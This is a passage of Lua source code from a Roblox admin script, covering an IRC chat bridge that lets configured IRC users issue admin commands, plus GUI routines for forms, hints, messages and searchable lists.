  3707.     IRC.Stop = true
  3708.     return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
  3709. end
  3710.  
  3711. function IRC:ReceiveData()
  3712.     IRC.Stop = false
  3713.     local Data = IRC:GetData()
  3714.     if Data then
  3715.         IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
  3716.     end
  3717.     while Data and not Stop do
  3718.         local Data = IRC:GetData()
  3719.         if Data and #Data > 0 then
  3720.             IRC:HandleResponse(REMOTE:Decode(Data))
  3721.         end
  3722.         wait(2) -- Don't spam the server
  3723.     end
  3724.     if not Data then
  3725.         IRC:AddChat("[ CLIENT ]", "Could not get data", true)
  3726.     end
  3727.     if Stop == true then
  3728.         IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
  3729.     end
  3730. end
  3731.  
  3732. function IRC:ConnectToServer(Server)
  3733.     if Connected then
  3734.         if not IRC.Servers[Server] then
  3735.             IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
  3736.             return false
  3737.         end
  3738.         IRC:Quit("New Connection")
  3739.     end
  3740.     local Response = IRC:Connect()
  3741.     if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
  3742.     local Data = REMOTE:Decode(Response)
  3743.     IRC.SessionID = Data[2]
  3744.     wait(1)
  3745.     if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
  3746.         IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
  3747.         IRC:Quit()
  3748.         IRC:ConnectToServer(Server)
  3749.     end
  3750.     IRC.Connected = true
  3751.     IRC:Join(Settings.IRCChannel)
  3752.     IRC:ReceiveData()
  3753.     IRC.Connected = false
  3754.     IRC:AddChat("[ CLIENT ]", "Session ended", true)
  3755. end
  3756.  
  3757. function IRC:FindUser(UserName)
  3758.     for UserID,User in pairs(IRC.Users) do
  3759.         if string.lower(User) == string.lower(UserName) then
  3760.             return UserID
  3761.         end
  3762.     end
  3763.     return nil
  3764. end
  3765.  
  3766. function IRC:HandleResponse(Data)
  3767.     if type(Data) ~= "table" then
  3768.         IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
  3769.         ypcall(function()
  3770.             IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
  3771.         end)
  3772.         return false
  3773.     end
  3774.     for _,Output in pairs(Data) do
  3775.         if type(Output) == "table" and Output[2] then
  3776.             local ID = string.upper(Output[2])
  3777.             if not IRC.Ignore[ID] then
  3778.                 if ID == "PING" then
  3779.                     IRC:Pong(Output[4][1])
  3780.                 elseif ID == "PRIVMSG" then
  3781.                     local SenderDetails = Output[3]
  3782.                     local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
  3783.                     local Channel = string.lower(Output[4][1])
  3784.                     if Channel == IRC.NickName then
  3785.                         Channel = Sender
  3786.                         -- TODO: Handle PM's
  3787.                     end
  3788.                     local Message = Output[4][2]
  3789.                     if Message ~= nil then
  3790.                         if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
  3791.                             if string.find(Message,":") then
  3792.                                 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
  3793.                                 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
  3794.                                 IRC:AddChat(IRCUser, IRCMessage)
  3795.                             end
  3796.                         else
  3797.                             IRC:AddChat("[ IRC ] "..Sender,Message)
  3798.                             for _,Name in pairs(Settings.IRCCommandExecuters) do
  3799.                                 if string.lower(Name) == string.lower(Sender) then
  3800.                                     CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
  3801.                                     break
  3802.                                 end
  3803.                             end
  3804.                         end
  3805.                     else
  3806.                         IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
  3807.                     end
  3808.                 elseif ID == "NICK" then
  3809.                     local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
  3810.                     -- change nickname?
  3811.                 elseif ID == "433" or ID == "451" then
  3812.                     IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
  3813.                     IRC:Quit("Nickname in use, rejoining with new name")
  3814.                     IRC.NickName = IRC:GenerateName()
  3815.                     wait(2) -- wait for old sessions to end
  3816.                     IRC:ConnectToServer(Settings.IRCServer)
  3817.                 elseif ID == "353" then
  3818.                     if Data[4][4][4] then
  3819.                         for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
  3820.                             table.insert(IRC.Users, Output)
  3821.                         end
  3822.                     end
  3823.                 elseif ID == "QUIT" or ID == "PART" then
  3824.                     for User in string.gmatch(Data[1][3], "[^!~]+") do
  3825.                         if IRC:FindUser(User) then
  3826.                             IRC:AddChat("[ IRC ]", User.." has left")
  3827.                             table.remove(IRC.Users, IRC:FindUser(User))
  3828.                         end
  3829.                     end
  3830.                 elseif ID == "JOIN" then
  3831.                     for User in string.gmatch(Data[1][3], "[^!~]+") do
  3832.                         if not string.find(User, "qwebirc") then
  3833.                             IRC:AddChat("[ IRC ]", User.." has joined")
  3834.                             table.insert(IRC.Users,w)
  3835.                         end
  3836.                     end
  3837.                 elseif ID == "CONNECTION TO IRC SERVER LOST." then
  3838.                     IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
  3839.                     --IRC:Quit("Connection lost")
  3840.                     --IRC:AddChat("[ CLIENT ]", "Retrying connection")
  3841.                     --IRC:ConnectToServer(Settings.IRCServer)
  3842.                 elseif IRC.Codes[ID] then
  3843.                     --print(ID)
  3844.                     --print(Data[i][4][2])
  3845.                     --print(Data[i][4][2])
  3846.                 elseif ID == "KICK" then
  3847.                     IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
  3848.                     IRC:Quit("Kicked from IRC")
  3849.                 elseif ID then
  3850.                     IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
  3851.                 else
  3852.                     IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
  3853.                 end
  3854.             end
  3855.         else
  3856.             if Output == false then return false end -- sneeky server
  3857.             IRC:AddChat("[ CLIENT ]", "Unable to handle data")
  3858.         end
  3859.     end
  3860. end
  3861.  
  3862. -- GUI functions --
  3863.  
  3864. function GUI:GetColor(ColorName)
  3865.     if not ColorName then ColorName = Settings.ColorScheme end
  3866.     return Colors[string.upper(ColorName)]
  3867. end
  3868.  
  3869. function GUI:ContrastColor(Color)
  3870.     if type(Color) == "string" then Color = GUI:GetColor(Color) end
  3871.     if not Color then Color = GUI:GetColor() end
  3872.     return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
  3873. end
  3874.  
  3875.  
  3876. function GUI:GetNameColor(Name)
  3877.     local Val = 0
  3878.     for i = 1, #Name do
  3879.         local CVal = string.byte(string.sub(Name, i, i))
  3880.         local RevIndex = #Name - i + 1
  3881.         if #Name%2 == 1 then
  3882.             RevIndex = RevIndex - 1        
  3883.         end
  3884.         if RevIndex%4 >= 2 then
  3885.             CVal = -CVal           
  3886.         end
  3887.         Val = Val + CVal
  3888.     end
  3889.     local Index = Val%8 + 1
  3890.    
  3891.     return BrickColor.new(ChatColors[Index])
  3892. end
  3893.  
  3894. function GUI:Color3ToHex(Color)
  3895.     local function ConvertNumber(Number)
  3896.         local HexString = "0123456789abcdef"
  3897.         local Byte = ""
  3898.         while Number > 0 do
  3899.             local Calc = math.fmod(Number, 16)
  3900.             Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
  3901.             Number = math.floor(Number / 16)
  3902.         end
  3903.         if Calc == "" then
  3904.             Byte = "00"
  3905.         elseif #Byte == 1 then
  3906.             Byte = "0"..Byte
  3907.         elseif Byte == "" then
  3908.             Byte = "00"
  3909.         end
  3910.         return Byte
  3911.     end
  3912.     return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
  3913. end
  3914.  
  3915. function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
  3916.     if not Player then return nil end
  3917.     if not Player:FindFirstChild("PlayerGui") then return nil end
  3918.     local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
  3919.     if not TitleText then TitleText = "Unknown" end
  3920.     if not Size then Size = UDim2.new(0.5,0,0.5,0) end
  3921.     if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
  3922.     if not IconID then IconID = 19919809 end
  3923.     if ShowFormButtons == nil then ShowFormButtons = true end
  3924.     if not ColorScheme then ColorScheme = Settings.ColorScheme end
  3925.     if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
  3926.     if AutoOffset == nil then AutoOffset = true end
  3927.     if Icons[IconID] then IconID = Icons[IconID] end
  3928.     if TweenPosition == nil then TweenPosition = true end
  3929.     if NoModal == nil then NoModal = false end
  3930.     if NoScrollFrame == nil then NoScrollFrame = false end
  3931.    
  3932.     local IsClosed = false
  3933.     local Minus = nil
  3934.     local Offset = 0
  3935.     local ContentType = "ScrollingFrame"
  3936.     local TweenSpeed = 0.3
  3937.    
  3938.     if AutoOffset then
  3939.         for _,Item in pairs(Player.PlayerGui:GetChildren()) do
  3940.             if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
  3941.                 if Item.IsActive.Value == true then
  3942.                     if Item.IsTrueForm.Value == true then
  3943.                         Offset = Offset + 50
  3944.                     end
  3945.                 end
  3946.             end
  3947.         end
  3948.     end
  3949.    
  3950.     if NoScrollFrame == true then
  3951.         ContentType = "Frame"
  3952.     end
  3953.    
  3954.     SOUND:PlayNotification(Player, 155331654)
  3955.    
  3956.     local Position = Position + UDim2.new(0,Offset,0,Offset)
  3957.     local MinimizePos = Position
  3958.    
  3959.     local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
  3960.     local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
  3961.     local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
  3962.    
  3963.     local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
  3964.     local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
  3965.     local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
  3966.     local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
  3967.     local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
  3968.     local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID  
  3969.     local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
  3970.     local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
  3971.     local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
  3972.    
  3973.     local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
  3974.     local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
  3975.     if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
  3976.     --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
  3977.     --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true  
  3978.    
  3979.     CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
  3980.    
  3981.     local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
  3982.    
  3983.     local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
  3984.     local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
  3985.     local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
  3986.     local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
  3987.     local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
  3988.     local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
  3989.    
  3990.     if Settings.EnableTaskBar then
  3991.         Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
  3992.     else
  3993.         TitleEnd.Position = UDim2.new(1, -50, 0, 5)
  3994.         Title.Size = UDim2.new(1, -95, 0, 25)
  3995.     end
  3996.    
  3997.     if not ShowFormButtons then
  3998.         X:Destroy()
  3999.         TitleEnd:Destroy()
  4000.         Title.Size = UDim2.new(1, -55, 0, 25)
  4001.     end
  4002.    
  4003.     local function CloseForm()
  4004.         if IsClosed == false then
  4005.             IsActive.Value = false
  4006.             IsClosed = true
  4007.             ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
  4008.             Closed:Fire()
  4009.             SOUND:PlayNotification(Player, 206375138)
  4010.         end
  4011.     end
  4012.    
  4013.     local function MinimizeForm()
  4014.         if IsActive.Value == true then
  4015.             IsActive.Value = false
  4016.             Minimized:Fire()
  4017.             MinimizePos = Dragger.Position
  4018.             ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
  4019.         end
  4020.     end
  4021.    
  4022.     local function RestoreForm()
  4023.         if IsActive.Value == false then
  4024.             IsActive.Value = true
  4025.             Restored:Fire()
  4026.             ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
  4027.         end
  4028.     end
  4029.    
  4030.     if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
  4031.     if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
  4032.    
  4033.     Close.OnInvoke = CloseForm
  4034.     Minimize.OnInvoke = MinimizeForm
  4035.     Restore.OnInvoke = RestoreForm
  4036.    
  4037.     if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
  4038.    
  4039.     if TaskBar then
  4040.         TaskBar:WaitForChild("AddForm")
  4041.         TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
  4042.     end
  4043.    
  4044.     return Content, Close, Closed, Minimize, Minimized, Restore, Restored
  4045. end
  4046.  
  4047. function GUI:CoreGui(Player, Type, Enable)
  4048.     local Parent = Player:FindFirstChild("Backpack")
  4049.     if not Parent then Parent = Player.Backpack end
  4050.     CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
  4051. end
  4052.  
  4053. function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
  4054.     if not Player or not Player:IsA("Player") then return nil end
  4055.     if BodyText == "" then return nil end
  4056.     if not Player:FindFirstChild("PlayerGui") then return nil end
  4057.    
  4058.     local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
  4059.     local TextColor = GUI:GetColor(MessageSplit[1])
  4060.     if TextColor then BodyText = MessageSplit[2] end
  4061.     BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
  4062.    
  4063.     local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
  4064.     local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
  4065.    
  4066.     if Frame then
  4067.         local FormBar = Frame.Parent.Parent.FormBar
  4068.         local Said = false
  4069.         local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
  4070.         if Settings.EnableTaskBar then
  4071.             FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
  4072.             FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
  4073.         else
  4074.             Speak.Position = UDim2.new(1, -58, 0, 5)
  4075.             FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
  4076.             FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
  4077.         end
  4078.         CORE:HandleEvent(Speak, "MouseButton1Down", function()
  4079.             if not Said then
  4080.                 Said = true
  4081.                 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
  4082.             end
  4083.         end)
  4084.        
  4085.         if TextColor then
  4086.             Body.TextColor3 = TextColor
  4087.         else
  4088.             Body.TextColor3 = Color3.new(1,1,1)
  4089.         end
  4090.        
  4091.         if tonumber(Time) then coroutine.wrap(function()
  4092.             if AutoTime then
  4093.                 Time = Time + math.floor(#BodyText/7)
  4094.             end
  4095.             local Alive = true
  4096.            
  4097.             local function StopTimer() Alive = false end
  4098.             Closed.Event:connect(StopTimer)
  4099.             Minimized.Event:connect(StopTimer)
  4100.            
  4101.             Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4102.             Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4103.             local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4104.             local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
  4105.             CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  4106.             for i = Time,0,-1 do
  4107.                 for ii = 1,10 do
  4108.                     if Alive == true then
  4109.                         Ticker.Text = i
  4110.                         wait(0.1)
  4111.                     else
  4112.                         break
  4113.                     end
  4114.                 end
  4115.             end
  4116.             if Alive == true then
  4117.                 Close:Invoke()
  4118.             else
  4119.                 Ticker:Destroy()
  4120.                 Stop:Destroy()
  4121.                 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
  4122.                 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
  4123.             end
  4124.         end)() end
  4125.        
  4126.         CORE:ExecuteResource("CalculateScrollY", Body)
  4127.     end
  4128. end
  4129.  
  4130. function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
  4131.     if not Player then return nil end
  4132.     if not Player:IsA("Player") then return nil end
  4133.     if BodyText == "" then return nil end
  4134.     if not Player:FindFirstChild("PlayerGui") then return nil end
  4135.     BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
  4136.     local TextColor = GUI:ContrastColor()
  4137.     if Error then TextColor = Color3.new(1,0,0) end
  4138.    
  4139.     local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
  4140.     local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
  4141.    
  4142.     CORE:ExecuteResource("CalculateScrollY", Body)
  4143.    
  4144.     return Frame, Close, Closed, Minimize, Minimized
  4145. end
  4146.  
  4147. function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
  4148.     Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
  4149.     local TweenTime = 0.5
  4150.     if not Time then Time = 5 end
  4151.     local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
  4152.     local MaxPos = -1
  4153.     for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
  4154.         local IVal = SGObj:FindFirstChild("Index")
  4155.         if IVal then
  4156.             MaxPos = math.max(MaxPos, IVal.Value)
  4157.         end
  4158.     end
  4159.     MaxPos = MaxPos + 1
  4160.     local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
  4161.     local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
  4162.     local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
  4163.     local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
  4164.     local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
  4165.     SG.Parent = Player.PlayerGui
  4166.    
  4167.     CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
  4168.     CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
  4169.  
  4170.     LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
  4171.     RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
  4172.     Delay(TweenTime, function()
  4173.         for i = 1,0,-0.1 do
  4174.             Body.TextTransparency = i
  4175.             wait()
  4176.         end
  4177.         Body.TextTransparency = 0
  4178.     end)
  4179.     Delay(TweenTime + Time, function()
  4180.         for i = 0,1,0.1 do
  4181.             Body.TextTransparency = i
  4182.             wait()
  4183.         end
  4184.         Body.TextTransparency = 1
  4185.         local Done = false
  4186.         LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
  4187.         RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
  4188.     end)
  4189.  
  4190. end)() end
  4191.  
  4192. function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
  4193.     if not Player then return nil end
  4194.     if not Player:FindFirstChild("PlayerGui") then return nil end
  4195.     if not PreSearch then PreSearch = "" end
  4196.     if AutoNumber == nil then AutoNumber = true end
  4197.    
  4198.     local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
  4199.     local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
  4200.     SearchBar.Parent = Frame.Parent
  4201.     Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4202.     Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4203.    
  4204.     local SearchVer = 0,nil
  4205.     local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
  4206.     local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
  4207.     local InDialog = false
  4208.    
  4209.     local function ShowResults(Key)
  4210.         SearchVer = SearchVer + 1
  4211.         local ThisSearchVer = SearchVer
  4212.        
  4213.         if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
  4214.         for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
  4215.    
  4216.         local NumPos,Num = 0,1
  4217.        
  4218.         for _,Data in pairs(List) do
  4219.             if ThisSearchVer ~= SearchVer then
  4220.                 break
  4221.             end
  4222.             local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
  4223.             if String then
  4224.                 local ImageIcon = nil
  4225.                 if type(Data) == "table" then
  4226.                     String = Data[1]
  4227.                     ImageIcon = Data[2]
  4228.                 end
  4229.            
  4230.                 local TextColor = GUI:ContrastColor()
  4231.                 local StringSplit = STRING:GetSplit(String, 1, " ")
  4232.                 local NewColor = GUI:GetColor(StringSplit[1])
  4233.                 if NewColor then TextColor = NewColor String = StringSplit[2] end
  4234.                
  4235.                 if string.find(string.lower(String), string.lower(Key)) then
  4236.                     Spacer = false
  4237.                     local Font = Settings.Font
  4238.                     local Split = STRING:GetSplit(String, 1, " ")
  4239.                     if string.sub(string.lower(String),1,6) == "bold: " then
  4240.                         Font = "ArialBold"
  4241.                         String = string.sub(String,7)
  4242.                     elseif Fonts[Split[1]] then
  4243.                         Font = Split[1]
  4244.                         String = Split[2]
  4245.                     end
  4246.                     if string.sub(String,1,2) == "--" then
  4247.                         Spacer = true
  4248.                     end
  4249.                     local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
  4250.                     if ImageIcon then
